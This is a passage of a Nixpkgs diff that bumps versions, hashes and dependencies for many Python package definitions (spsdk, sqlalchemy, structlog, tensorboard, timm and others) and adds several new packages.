version = "2.0.1"; + version = "2.1.0"; pyproject = true; src = fetchFromGitHub { owner = "nxp-mcuxpresso"; - repo = pname; - rev = version; - hash = "sha256-C6cz5jhIHI4WkCYT0rURFa4kBAu6cMcKpQHiHACIiu8="; + repo = "spsdk"; + rev = "refs/tags/${version}"; + hash = "sha256-ZXNqger5WBk2AjTszJLmemYDPClUPy+kNtBWSPcTDro="; }; nativeBuildInputs = [ @@ -55,21 +55,7 @@ buildPythonPackage rec { ]; pythonRelaxDeps = [ - "bincopy" - "bitstring" - "cmsis-pack-manager" - "deepmerge" - "jinja2" - "pycryptodome" - "pylink-square" - "pyocd" - "typing-extensions" "click" - "ruamel.yaml" - ]; - - pythonRemoveDeps = [ - "pyocd-pemicro" ]; propagatedBuildInputs = [ @@ -80,20 +66,19 @@ buildPythonPackage rec { click click-command-tree click-option-group - cmsis-pack-manager - commentjson + colorama crcmod cryptography deepmerge fastjsonschema hexdump - importlib-metadata - jinja2 libusbsio oscrypto - pycryptodome + platformdirs + prettytable pylink-square pyocd + pyocd-pemicro pypemicro pyserial requests @@ -103,16 +88,23 @@ buildPythonPackage rec { ]; nativeCheckInputs = [ - pyftdi + ipykernel + pytest-notebook pytestCheckHook voluptuous ]; + disabledTests = [ + "test_nxpcrypto_create_signature_algorithm" + "test_nxpimage_sb31_kaypair_not_matching" + ]; + pythonImportsCheck = [ "spsdk" ]; passthru.tests.version = testers.testVersion { package = spsdk; }; meta = with lib; { + broken = versionAtLeast cryptography.version "41.1"; changelog = "https://github.com/nxp-mcuxpresso/spsdk/blob/${src.rev}/docs/release_notes.rst"; description = "NXP Secure Provisioning SDK"; homepage = "https://github.com/nxp-mcuxpresso/spsdk"; diff --git a/pkgs/development/python-modules/spyder-kernels/default.nix b/pkgs/development/python-modules/spyder-kernels/default.nix index f62c4d7c9ede4..30f76ffd62587 100644 --- a/pkgs/development/python-modules/spyder-kernels/default.nix +++ b/pkgs/development/python-modules/spyder-kernels/default.nix @@ -14,14 +14,14 @@ buildPythonPackage rec { pname = "spyder-kernels"; - version = "2.5.0"; + version = "2.5.1"; format = "setuptools"; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-M2hCbARFfgIRiE6SdPpH61ViUrpMBz3ydeg8Zd97oqE="; + hash = "sha256-BQQqP5eyXxfN+o11AR/Xmq8CdSM0ip3/8PWiC92wubA="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/sqlalchemy/1_4.nix b/pkgs/development/python-modules/sqlalchemy/1_4.nix index 06ffcab2ae322..a630b110314d8 100644 --- a/pkgs/development/python-modules/sqlalchemy/1_4.nix +++ b/pkgs/development/python-modules/sqlalchemy/1_4.nix @@ -35,14 +35,14 @@ buildPythonPackage rec { pname = "sqlalchemy"; - version = "1.4.51"; + version = "1.4.52"; pyproject = true; src = fetchFromGitHub { owner = "sqlalchemy"; repo = "sqlalchemy"; rev = "rel_${lib.replaceStrings [ "." ] [ "_" ] version}"; - hash = "sha256-KhLSKlQ4xfSh1nsAt+cRO+adh2aj/h/iqV6YmDbz39k="; + hash = "sha256-3JiPDOI6KDQwtBtISvHi3d+Rdm0pz1d9cnZu3+f4jYE="; }; postPatch = '' diff --git a/pkgs/development/python-modules/sqlalchemy/default.nix b/pkgs/development/python-modules/sqlalchemy/default.nix index edee5d1d44142..565ab218dd91b 100644 --- a/pkgs/development/python-modules/sqlalchemy/default.nix +++ b/pkgs/development/python-modules/sqlalchemy/default.nix @@ -40,7 +40,7 @@ buildPythonPackage rec { pname = "SQLAlchemy"; - version = "2.0.25"; + version = "2.0.27"; format = "pyproject"; disabled = pythonOlder "3.7"; @@ -49,7 +49,7 @@ buildPythonPackage rec { owner = "sqlalchemy"; repo = "sqlalchemy"; rev = "refs/tags/rel_${lib.replaceStrings [ "." ] [ "_" ] version}"; - hash = "sha256-nfkYzLpWyNXDuRUJl5pzaedw5v7jHpG7kpmr6VTGUaw="; + hash = "sha256-6R+A7rVq1olRXj1wMolHhEq418bpr5rsmH8RjxajmmQ="; }; postPatch = '' diff --git a/pkgs/development/python-modules/sqlglot/default.nix b/pkgs/development/python-modules/sqlglot/default.nix index f02a32d0f64f8..7eb9ee70eca91 100644 --- a/pkgs/development/python-modules/sqlglot/default.nix +++ b/pkgs/development/python-modules/sqlglot/default.nix @@ -11,7 +11,7 @@ buildPythonPackage rec { pname = "sqlglot"; - version = "20.9.0"; + version = "21.1.1"; pyproject = true; disabled = pythonOlder "3.8"; @@ -20,7 +20,7 @@ buildPythonPackage rec { repo = "sqlglot"; owner = "tobymao"; rev = "refs/tags/v${version}"; - hash = "sha256-4czhmAJUDRj0x8dCmIXg5BQ1Uvie5vx+UtWdSSY5mnM="; + hash = "sha256-xMKDkhotVBkLzn+f9RMGCPfWTF4Rz9a193nSJv5z+iA="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/sqlmap/default.nix b/pkgs/development/python-modules/sqlmap/default.nix index d2bdaa146789c..8c4e09082622f 100644 --- a/pkgs/development/python-modules/sqlmap/default.nix +++ b/pkgs/development/python-modules/sqlmap/default.nix @@ -8,14 +8,14 @@ buildPythonPackage rec { pname = "sqlmap"; - version = "1.8.2"; + version = "1.8.3"; format = "setuptools"; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-DypzKg8ajqevVFDoeEW6Mj82x90U9OUb7dgIhp+KyZg="; + hash = "sha256-X3xz2ucuxr48q9gS9K19Zd7gYkRCpU+XLWMSrwiQMIo="; }; postPatch = '' diff --git a/pkgs/development/python-modules/sqlmodel/default.nix b/pkgs/development/python-modules/sqlmodel/default.nix index 26a0c7f5c9072..fb5f6fd185a9f 100644 --- a/pkgs/development/python-modules/sqlmodel/default.nix +++ b/pkgs/development/python-modules/sqlmodel/default.nix @@ -13,7 +13,7 @@ buildPythonPackage rec { pname = "sqlmodel"; - version = "0.0.14"; + version = "0.0.16"; pyproject = true; disabled = pythonOlder "3.7"; @@ -22,7 +22,7 @@ buildPythonPackage rec { owner = "tiangolo"; repo = "sqlmodel"; rev = "refs/tags/${version}"; - hash = "sha256-EEOS7c0ospo7qjqPQkKwYXeVmBR5DueONzmjspV6w7w="; + hash = "sha256-hDJcekn0ExYUCs8kBZkJzsWqXsB/cI6RbW3EhRCCioM="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/stanio/default.nix b/pkgs/development/python-modules/stanio/default.nix index daf889dba6889..ef4928e6e4f8b 100644 --- a/pkgs/development/python-modules/stanio/default.nix +++ b/pkgs/development/python-modules/stanio/default.nix @@ -8,14 +8,14 @@ buildPythonPackage rec { pname = "stanio"; - version = "0.4.0"; + version = "0.5.0"; pyproject = true; disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-i1hqwUs1zeGq0Yjb+FgkUVxoQtyVGitBHdE4+1w1/J8="; + hash = "sha256-3uQpMU2WXzkBga+o/3/4FERG7rWMwlR8zBCLpz5nROI="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/stanza/default.nix b/pkgs/development/python-modules/stanza/default.nix index f9fd0d2262e6b..def0517d8655f 100644 --- a/pkgs/development/python-modules/stanza/default.nix +++ b/pkgs/development/python-modules/stanza/default.nix @@ -17,7 +17,7 @@ buildPythonPackage rec { pname = "stanza"; - version = "1.7.0"; + version = "1.8.1"; format = "setuptools"; disabled = pythonOlder "3.8"; @@ -26,7 +26,7 @@ buildPythonPackage rec { owner = "stanfordnlp"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-uLstqplCQ55fW5WRS1qSrE6sGgpc8z92gyoksUnGpnQ="; + hash = "sha256-MO9trPkemVDzlVrO6v6N27RY2SNwflj+XlUrB1NqFGc="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/std-uritemplate/default.nix b/pkgs/development/python-modules/std-uritemplate/default.nix new file mode 100644 index 0000000000000..e11e26acc2867 --- /dev/null +++ b/pkgs/development/python-modules/std-uritemplate/default.nix @@ -0,0 +1,39 @@ +{ lib +, buildPythonPackage +, fetchPypi +, poetry-core +, pythonOlder +}: + +buildPythonPackage rec { + pname = "std-uritemplate"; + version = "0.0.54"; + pyproject = true; + + disabled = pythonOlder "3.8"; + + src = fetchPypi { + pname = "std_uritemplate"; + inherit version; + hash = "sha256-FVKnB3v/T7eV6IQkaKQ8CFumIMc3PPlAgNOFNohQf9Q="; + }; + + nativeBuildInputs = [ + poetry-core + ]; + + # Module doesn't have unittest, only functional tests + doCheck = false; + + pythonImportsCheck = [ + "stduritemplate" + ]; + + meta = with lib; { + description = "Std-uritemplate implementation for Python"; + homepage = "https://github.com/std-uritemplate/std-uritemplate"; + changelog = "https://github.com/std-uritemplate/std-uritemplate/releases/tag/${version}"; + license = licenses.asl20; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/streamlit/default.nix b/pkgs/development/python-modules/streamlit/default.nix index 98eb1cd188c9a..a0f6111c6eab8 100644 --- a/pkgs/development/python-modules/streamlit/default.nix +++ b/pkgs/development/python-modules/streamlit/default.nix @@ -32,14 +32,14 @@ buildPythonPackage rec { pname = "streamlit"; - version = "1.30.0"; + version = "1.32.0"; pyproject = true; disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-kDM5FdnfjOOwbeMbilu6tR6M8JgtxsMtqdax8rSp+ng="; + hash = "sha256-Zb8i4ZDelzuRDAsSezPYDTHFJ17Ykcb950DeRuXgUyM="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/structlog/default.nix b/pkgs/development/python-modules/structlog/default.nix index f53e3c90945dd..a6c826a00a5e0 100644 --- a/pkgs/development/python-modules/structlog/default.nix +++ b/pkgs/development/python-modules/structlog/default.nix @@ -11,13 +11,12 @@ , pythonOlder , simplejson , twisted -, typing-extensions }: buildPythonPackage rec { pname = "structlog"; - version = "23.2.0"; - format = "pyproject"; + version = "24.1.0"; + pyproject = true; disabled = pythonOlder "3.8"; @@ -25,7 +24,7 @@ buildPythonPackage rec { owner = "hynek"; repo = "structlog"; rev = "refs/tags/${version}"; - hash = "sha256-KSHKgkv+kObKCdWZDg5o6QYe0AMND9VLdEuseY/GyDY="; + hash = "sha256-0Yc28UEeozK2+IqILFTqHoTiM5L2SA4t6jld4qTBSzQ="; }; nativeBuildInputs = [ @@ -34,10 +33,6 @@ buildPythonPackage rec { hatchling ]; - propagatedBuildInputs = lib.optionals (pythonOlder "3.8") [ - typing-extensions - ]; - nativeCheckInputs = [ freezegun pretend @@ -47,11 +42,6 @@ buildPythonPackage rec { twisted ]; - disabledTests = [ - # _pickle.PicklingError: Only BytesLoggers to sys.stdout and sys.stderr can be pickled. - "test_pickle" - ]; - pythonImportsCheck = [ "structlog" ]; @@ -61,6 +51,6 @@ buildPythonPackage rec { homepage = "https://github.com/hynek/structlog"; changelog = "https://github.com/hynek/structlog/blob/${version}/CHANGELOG.md"; license = licenses.asl20; - maintainers = with maintainers; [ ]; + maintainers = with maintainers; [ dotlambda ]; }; } diff --git a/pkgs/development/python-modules/subarulink/default.nix b/pkgs/development/python-modules/subarulink/default.nix index 9eeb7e99aaa0d..293d39cee3e2d 100644 --- a/pkgs/development/python-modules/subarulink/default.nix +++ b/pkgs/development/python-modules/subarulink/default.nix @@ -11,7 +11,7 @@ buildPythonPackage rec { pname = "subarulink"; - version = "0.7.10"; + version = "0.7.11"; format = "setuptools"; disabled = pythonOlder "3.7"; @@ -20,7 +20,7 @@ buildPythonPackage rec { owner = "G-Two"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-OKZ55J294I3wPo2vL+wuMMCA4N1ejgtquA8Bf7wPiIs="; + hash = "sha256-HKtToMh4dAUpA654tFkUEM9DLPGr9XRQK0ezYzNPzqk="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/sv-ttk/default.nix b/pkgs/development/python-modules/sv-ttk/default.nix index a5518b0944310..834178a5c2362 100644 --- a/pkgs/development/python-modules/sv-ttk/default.nix +++ b/pkgs/development/python-modules/sv-ttk/default.nix @@ -7,7 +7,7 @@ buildPythonPackage rec { pname = "sv-ttk"; - version = "2.5.5"; + version = "2.6.0"; format = "setuptools"; disabled = pythonOlder "3.7"; @@ -15,7 +15,7 @@ buildPythonPackage rec { src = fetchPypi { inherit version; pname = "sv_ttk"; - hash = "sha256-m7/iq6bMb5/fcNeTMQRlQ8lmb8zMeLrV/2SKmYfjzts="; + hash = "sha256-P9RAOWyV4w6I9ob88ovkJUgPcyDWvzRvnOpdb1ZwLMI="; }; # No tests available diff --git a/pkgs/development/python-modules/svg-py/default.nix b/pkgs/development/python-modules/svg-py/default.nix index f2971a0b4144d..236e5fd3105da 100644 --- a/pkgs/development/python-modules/svg-py/default.nix +++ b/pkgs/development/python-modules/svg-py/default.nix @@ -9,7 +9,7 @@ buildPythonPackage rec { pname = "svg-py"; - version = "1.4.2"; + version = "1.4.3"; pyproject = true; disabled = pythonOlder "3.7"; @@ -18,7 +18,7 @@ buildPythonPackage rec { owner = "orsinium-labs"; repo = "svg.py"; rev = "refs/tags/${version}"; - hash = "sha256-GbXPDYDq6zlsPJ/PAjR6OvarVrp7x3LGhseyTMwY8Dg="; + hash = "sha256-rnxznJM3ihuEJrD3ba6uMdGMozIrLw/QyGzA3JPygH4="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/systembridgeconnector/default.nix b/pkgs/development/python-modules/systembridgeconnector/default.nix new file mode 100644 index 0000000000000..bb3a714d68a91 --- /dev/null +++ b/pkgs/development/python-modules/systembridgeconnector/default.nix @@ -0,0 +1,47 @@ +{ lib +, buildPythonPackage +, pythonOlder +, fetchFromGitHub +, setuptools +, aiohttp +, incremental +, systembridgemodels +}: + +buildPythonPackage rec { + pname = "systembridgeconnector"; + version = "4.0.2"; + pyproject = true; + + disabled = pythonOlder "3.11"; + + src = fetchFromGitHub { + owner = "timmo001"; + repo = "system-bridge-connector"; + rev = "refs/tags/${version}"; + hash = "sha256-CbLm2CHofgtaTHuGDexVEKmy8+ovvvGJOO3iiAimLTg="; + }; + + nativeBuildInputs = [ + setuptools + ]; + + propagatedBuildInputs = [ + aiohttp + incremental + systembridgemodels + ]; + + pythonImportsCheck = [ "systembridgeconnector" ]; + + # upstream has no tests + doCheck = false; + + meta = { + changelog = "https://github.com/timmo001/system-bridge-connector/releases/tag/${version}"; + description = "This is the connector package for the System Bridge project"; + homepage = "https://github.com/timmo001/system-bridge-connector"; + license = lib.licenses.asl20; + maintainers = with lib.maintainers; [ dotlambda ]; + }; +} diff --git a/pkgs/development/python-modules/systembridgemodels/default.nix b/pkgs/development/python-modules/systembridgemodels/default.nix new file mode 100644 index 0000000000000..16a16b3a8da4a --- /dev/null +++ b/pkgs/development/python-modules/systembridgemodels/default.nix @@ -0,0 +1,51 @@ +{ lib +, buildPythonPackage +, pythonOlder +, fetchFromGitHub +, fetchpatch2 +, setuptools +, incremental +}: + +buildPythonPackage rec { + pname = "systembridgemodels"; + version = "4.0.0"; + pyproject = true; + + disabled = pythonOlder "3.11"; + + src = fetchFromGitHub { + owner = "timmo001"; + repo = "system-bridge-models"; + rev = "refs/tags/${version}"; + hash = "sha256-4nbTsVRqtoX4UhTrQS4HwoLtx0RO1VA8UewSAWOSsik="; + }; + + patches = [ + (fetchpatch2 { + url = "https://github.com/timmo001/system-bridge-models/commit/7cd506760fd47c0f3717b6fcfe127b673e3198f8.patch"; + hash = "sha256-i+GCcoyX07ii9Kj46dtAlT85jUKfF0KHEH9++UTjiik="; + }) + ]; + + nativeBuildInputs = [ + setuptools + ]; + + propagatedBuildInputs = [ + incremental + ]; + + pythonImportsCheck = [ "systembridgemodels" ]; + + # upstream has no tests + doCheck = false; + + meta = { + changelog = "https://github.com/timmo001/system-bridge-models/releases/tag/${version}"; + description = "This is the models package used by the System Bridge project"; + homepage = "https://github.com/timmo001/system-bridge-models"; + license = lib.licenses.asl20; + maintainers = with lib.maintainers; [ dotlambda ]; + }; +} diff --git a/pkgs/development/python-modules/telepath/default.nix b/pkgs/development/python-modules/telepath/default.nix index 40aa3ca5982b9..73cab072dbd2f 100644 --- a/pkgs/development/python-modules/telepath/default.nix +++ b/pkgs/development/python-modules/telepath/default.nix @@ -7,14 +7,14 @@ buildPythonPackage rec { pname = "telepath"; - version = "0.3"; + version = "0.3.1"; format = "setuptools"; src = fetchFromGitHub { repo = "telepath"; owner = "wagtail"; rev = "v${version}"; - sha256 = "sha256-kfEAYCXbK0HTf1Gut/APkpw2krMa6C6mU/dJ0dsqzS0="; + hash = "sha256-MS4Q41WVSrjFmFjv4fztyf0U2+5WkNU79aPEKv/CeUQ="; }; checkInputs = [ django ]; diff --git a/pkgs/development/python-modules/tempest/default.nix b/pkgs/development/python-modules/tempest/default.nix index 3c8217239f233..ef2cb1b755695 100644 --- a/pkgs/development/python-modules/tempest/default.nix +++ b/pkgs/development/python-modules/tempest/default.nix @@ -26,20 +26,25 @@ , oslotest , bash , python +, setuptools }: buildPythonPackage rec { pname = "tempest"; - version = "36.0.0"; - format = "setuptools"; + version = "37.0.0"; + pyproject = true; disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-97Z5C7IluOXSkkUamFuljzzvD3QxdHZ/p8mXE9jW/2I="; + hash = "sha256-z9DCHlBetJ4wWcwfzIWf+TLKKNcCTKzpVs+2zgmuAyc="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ pbr cliff diff --git a/pkgs/development/python-modules/tencentcloud-sdk-python/default.nix b/pkgs/development/python-modules/tencentcloud-sdk-python/default.nix new file mode 100644 index 0000000000000..19662cf7a37ea --- /dev/null +++ b/pkgs/development/python-modules/tencentcloud-sdk-python/default.nix @@ -0,0 +1,54 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, pytestCheckHook +, pythonOlder +, requests +, setuptools +}: + +buildPythonPackage rec { + pname = "tencentcloud-sdk-python"; + version = "3.0.1102"; + pyproject = true; + + disabled = pythonOlder "3.9"; + + src = fetchFromGitHub { + owner = "TencentCloud"; + repo = "tencentcloud-sdk-python"; + rev = "refs/tags/${version}"; + hash = "sha256-VEYFNu8z/PVn+CcQzRdKtUw+JkKzxSIS6t6NMEaNNDc="; + }; + + nativeBuildInputs = [ + setuptools + ]; + + propagatedBuildInputs = [ + requests + ]; + + nativeCheckInputs = [ + pytestCheckHook + ]; + + pythonImportsCheck = [ + "tencentcloud" + ]; + + pytestFlagsArray = [ + # Other tests require credentials + "tests/unit/test_deserialize_warning.py" + "tests/unit/test_import.py" + "tests/unit/test_serialization.py" + ]; + + meta = with lib; { + description = "Tencent Cloud API 3.0 SDK for Python"; + homepage = "https://github.com/TencentCloud/tencentcloud-sdk-python"; + changelog = "https://github.com/TencentCloud/tencentcloud-sdk-python/blob/${version}/CHANGELOG.md"; + license = licenses.asl20; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/tensorboard/default.nix b/pkgs/development/python-modules/tensorboard/default.nix index d06c9e6d7d8ed..af45054bac429 100644 --- a/pkgs/development/python-modules/tensorboard/default.nix +++ b/pkgs/development/python-modules/tensorboard/default.nix @@ -23,15 +23,15 @@ buildPythonPackage rec { pname = "tensorboard"; - version = "2.15.1"; + version = "2.16.0"; format = "wheel"; - disabled = pythonOlder "3.6"; + disabled = pythonOlder "3.9"; src = fetchPypi { inherit pname version format; dist = "py3"; python = "py3"; - hash = "sha256-xGwdHPE6RYxCmGiniyUx2P9faCBY1p7AhAsLx6OPHA8="; + hash = "sha256-JjuQmiAJyzp52qar5kwXhcwxfCWlTk2y/stkKf/FTFg="; }; nativeBuildInputs = [ @@ -76,9 +76,11 @@ buildPythonPackage rec { ]; meta = with lib; { + changelog = "https://github.com/tensorflow/tensorboard/blob/${version}/RELEASE.md"; description = "TensorFlow's Visualization Toolkit"; homepage = "https://www.tensorflow.org/"; license = licenses.asl20; + mainProgram = "tensorboard"; maintainers = with maintainers; [ abbradar ]; }; } diff --git a/pkgs/development/python-modules/tensordict/default.nix b/pkgs/development/python-modules/tensordict/default.nix index 1c5bad17e8a0f..6c64ca00c5ee5 100644 --- a/pkgs/development/python-modules/tensordict/default.nix +++ b/pkgs/development/python-modules/tensordict/default.nix @@ -10,11 +10,12 @@ , numpy , h5py , pytestCheckHook +, stdenv }: buildPythonPackage rec { pname = "tensordict"; - version = "0.3.0"; + version = "0.3.1"; pyproject = true; disabled = pythonOlder "3.8"; @@ -23,7 +24,7 @@ buildPythonPackage rec { owner = "pytorch"; repo = "tensordict"; rev = "refs/tags/v${version}"; - hash = "sha256-XTFUzPs/fqX3DPtu/qSE1hY+7r/HToPVPaTyVRzDT/E="; + hash = "sha256-eCx1r7goqOdGX/0mSGCiLhdGQTh4Swa5aFiLSsL56p0="; }; nativeBuildInputs = [ @@ -53,6 +54,18 @@ buildPythonPackage rec { pytestCheckHook ]; + # RuntimeError: internal error + disabledTests = lib.optionals (stdenv.hostPlatform.system == "aarch64-linux") [ + "test_add_scale_sequence" + "test_modules" + "test_setattr" + ]; + + # ModuleNotFoundError: No module named 'torch._C._distributed_c10d'; 'torch._C' is not a package + disabledTestPaths = lib.optionals stdenv.isDarwin [ + "test/test_distributed.py" + ]; + meta = with lib; { description = "A pytorch dedicated tensor container"; changelog = "https://github.com/pytorch/tensordict/releases/tag/v${version}"; diff --git a/pkgs/development/python-modules/tensorflow/default.nix b/pkgs/development/python-modules/tensorflow/default.nix index 8714a77d88126..069b87b76f843 100644 --- a/pkgs/development/python-modules/tensorflow/default.nix +++ b/pkgs/development/python-modules/tensorflow/default.nix @@ -29,7 +29,7 @@ , avx2Support ? stdenv.hostPlatform.avx2Support , fmaSupport ? stdenv.hostPlatform.fmaSupport # Darwin deps -, Foundation, Security, cctools, llvmPackages_11 +, Foundation, Security, cctools, llvmPackages }: let @@ -51,7 +51,7 @@ let # translation units, so the build fails at link time stdenv = if cudaSupport then cudaPackagesGoogle.backendStdenv - else if originalStdenv.isDarwin then llvmPackages_11.stdenv + else if originalStdenv.isDarwin then llvmPackages.stdenv else originalStdenv; inherit (cudaPackagesGoogle) cudatoolkit nccl; # use compatible cuDNN (https://www.tensorflow.org/install/source#gpu) diff --git a/pkgs/development/python-modules/termcolor/default.nix b/pkgs/development/python-modules/termcolor/default.nix index 9a0af4e558e23..474af852d39f0 100644 --- a/pkgs/development/python-modules/termcolor/default.nix +++ b/pkgs/development/python-modules/termcolor/default.nix @@ -30,9 +30,8 @@ buildPythonPackage rec { ]; meta = with lib; { - description = "Termcolor"; - homepage = "https://pypi.python.org/pypi/termcolor"; + description = "ANSI color formatting for output in terminal"; + homepage = "https://github.com/termcolor/termcolor"; license = licenses.mit; }; - } diff --git a/pkgs/development/python-modules/tesla-fleet-api/default.nix b/pkgs/development/python-modules/tesla-fleet-api/default.nix index 18bfafa0ec8c9..a9f70fdf92d90 100644 --- a/pkgs/development/python-modules/tesla-fleet-api/default.nix +++ b/pkgs/development/python-modules/tesla-fleet-api/default.nix @@ -1,14 +1,15 @@ { lib +, aiohttp +, aiolimiter , buildPythonPackage , fetchFromGitHub -, setuptools , pythonOlder -, aiohttp +, setuptools }: buildPythonPackage rec { pname = "tesla-fleet-api"; - version = "0.4.3"; + version = "0.4.9"; pyproject = true; disabled = pythonOlder "3.10"; @@ -17,7 +18,7 @@ buildPythonPackage rec { owner = "Teslemetry"; repo = "python-tesla-fleet-api"; rev = "refs/tags/v${version}"; - hash = "sha256-HsD7Q12Pa2gzEaRvZ2WEMiJDilgxgBHcHuptecJAZTI="; + hash = "sha256-GiDhVN6aBj0yeIg596ox2ES28Dca81pVnsYWvc1SZ+A="; }; nativeBuildInputs = [ @@ -26,6 +27,7 @@ buildPythonPackage rec { propagatedBuildInputs = [ aiohttp + aiolimiter ]; # Module has no tests diff --git a/pkgs/development/python-modules/teslajsonpy/default.nix b/pkgs/development/python-modules/teslajsonpy/default.nix index 6113762d77a2e..0dbcd6bddc49a 100644 --- a/pkgs/development/python-modules/teslajsonpy/default.nix +++ b/pkgs/development/python-modules/teslajsonpy/default.nix @@ -17,7 +17,7 @@ buildPythonPackage rec { pname = "teslajsonpy"; - version = "3.9.10"; + version = "3.10.1"; format = "pyproject"; disabled = pythonOlder "3.7"; @@ -26,7 +26,7 @@ buildPythonPackage rec { owner = "zabuldon"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-DNac9rrHJkFWlYRLvDB49kjmJV2EMvs5Y2ndSGY7uvk="; + hash = "sha256-Eez8ktPhbWauFNsIuwoxMkGpI7hnYsBwStmU80IDFw4="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/textnets/default.nix b/pkgs/development/python-modules/textnets/default.nix index f0dd9ab9a6507..2ba5ff7019194 100644 --- a/pkgs/development/python-modules/textnets/default.nix +++ b/pkgs/development/python-modules/textnets/default.nix @@ -1,7 +1,7 @@ { lib , buildPythonPackage , cairocffi -, cython +, cython_3 , fetchPypi , igraph , leidenalg @@ -9,6 +9,7 @@ , poetry-core , pytestCheckHook , pythonOlder +, pythonRelaxDepsHook , scipy , setuptools , spacy @@ -21,22 +22,25 @@ buildPythonPackage rec { pname = "textnets"; - version = "0.9.3"; + version = "0.9.4"; format = "pyproject"; disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-fx2S43IqpSMsfJow26jB/D27dyUFQ1PlXP1rbUIZPPQ="; + hash = "sha256-4154ytzo1QpwhKA1BkVMss9fNIkysnClW/yfSVlX33M="; }; nativeBuildInputs = [ - cython + pythonRelaxDepsHook + cython_3 poetry-core setuptools ]; + pythonRelaxDeps = [ "igraph" "leidenalg" ]; + propagatedBuildInputs = [ cairocffi igraph @@ -59,10 +63,14 @@ buildPythonPackage rec { "textnets" ]; + # Enables the package to find the cythonized .so files during testing. See #255262 + preCheck = '' + rm -r textnets + ''; + disabledTests = [ - # Test fails: A warning is triggered because of a deprecation notice by pandas. - # TODO: Try to re-enable it when pandas is updated to 2.1.1 - "test_corpus_czech" + # Test fails: Throws a UserWarning asking the user to install `textnets[fca]`. + "test_context" ]; meta = with lib; { diff --git a/pkgs/development/python-modules/textual-dev/default.nix b/pkgs/development/python-modules/textual-dev/default.nix index ab9be50821e72..5c58f63dcdbf5 100644 --- a/pkgs/development/python-modules/textual-dev/default.nix +++ b/pkgs/development/python-modules/textual-dev/default.nix @@ -15,7 +15,7 @@ buildPythonPackage rec { pname = "textual-dev"; - version = "1.4.0"; + version = "1.5.1"; pyproject = true; disabled = pythonOlder "3.8"; @@ -24,7 +24,7 @@ buildPythonPackage rec { owner = "Textualize"; repo = "textual-dev"; rev = "refs/tags/v${version}"; - hash = "sha256-l8InIStQD7rAHYr2/eA1+Z0goNZoO4t78eODYmwSOrA="; + hash = "sha256-QnMKVt1WxnwGnZFNb7Gbus7xewGvyG5xJ0hIKKK5hug="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/thriftpy2/default.nix b/pkgs/development/python-modules/thriftpy2/default.nix index 6d8c9c9f83d2d..e6a696dec9bb8 100644 --- a/pkgs/development/python-modules/thriftpy2/default.nix +++ b/pkgs/development/python-modules/thriftpy2/default.nix @@ -10,7 +10,7 @@ buildPythonPackage rec { pname = "thriftpy2"; - version = "0.4.16"; + version = "0.4.20"; format = "setuptools"; disabled = pythonOlder "3.6"; @@ -19,7 +19,7 @@ buildPythonPackage rec { owner = "Thriftpy"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-o+h38NREnh14M23gyF2X2UdW7/spmHFo0rqvkKnmSRQ="; + hash = "sha256-IEYoSLaJUeQdwHaXR0UUlCZg5zBEh5Y2/IwB4RVEAcg="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/thttp/default.nix b/pkgs/development/python-modules/thttp/default.nix new file mode 100644 index 0000000000000..0e42f2a0c23a7 --- /dev/null +++ b/pkgs/development/python-modules/thttp/default.nix @@ -0,0 +1,37 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, setuptools +, pythonOlder +}: + +buildPythonPackage rec { + pname = "thttp"; + version = "1.3.0"; + pyproject = true; + + disabled = pythonOlder "3.7"; + + src = fetchFromGitHub { + owner = "sesh"; + repo = "thttp"; + rev = "refs/tags/${version}"; + hash = "sha256-e15QMRMpTcWo8TfH3tk23ybSlXFb8F4B/eqAp9oyK8g="; + }; + + nativeBuildInputs = [ + setuptools + ]; + + pythonImportsCheck = [ + "thttp" + ]; + + meta = with lib; { + description = "A lightweight wrapper around urllib"; + homepage = "https://github.com/sesh/thttp"; + changelog = "https://github.com/sesh/thttp/releases/tag/${version}"; + license = licenses.mit; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/timm/default.nix b/pkgs/development/python-modules/timm/default.nix index 90dfe55987850..18ac893e9261d 100644 --- a/pkgs/development/python-modules/timm/default.nix +++ b/pkgs/development/python-modules/timm/default.nix @@ -1,21 +1,22 @@ { lib , buildPythonPackage -, fetchFromGitHub , pythonOlder -, pytestCheckHook -, expecttest -, pytest-timeout +, fetchFromGitHub +, pdm-backend , huggingface-hub , pyyaml , safetensors , torch , torchvision +, expecttest +, pytestCheckHook +, pytest-timeout }: buildPythonPackage rec { pname = "timm"; - version = "0.9.12"; - format = "setuptools"; + version = "0.9.16"; + pyproject = true; disabled = pythonOlder "3.7"; @@ -23,9 +24,13 @@ buildPythonPackage rec { owner = "huggingface"; repo = "pytorch-image-models"; rev = "refs/tags/v${version}"; - hash = "sha256-dDd/Sjy4xmJlaAg+fOxxcuX3FX//uJJkW0q3AaeCfns="; + hash = "sha256-IWEDKuI2565Z07q1MxTpzKS+CROPR6SyaD5fKcQ5eXk="; }; + nativeBuildInputs = [ + pdm-backend + ]; + propagatedBuildInputs = [ 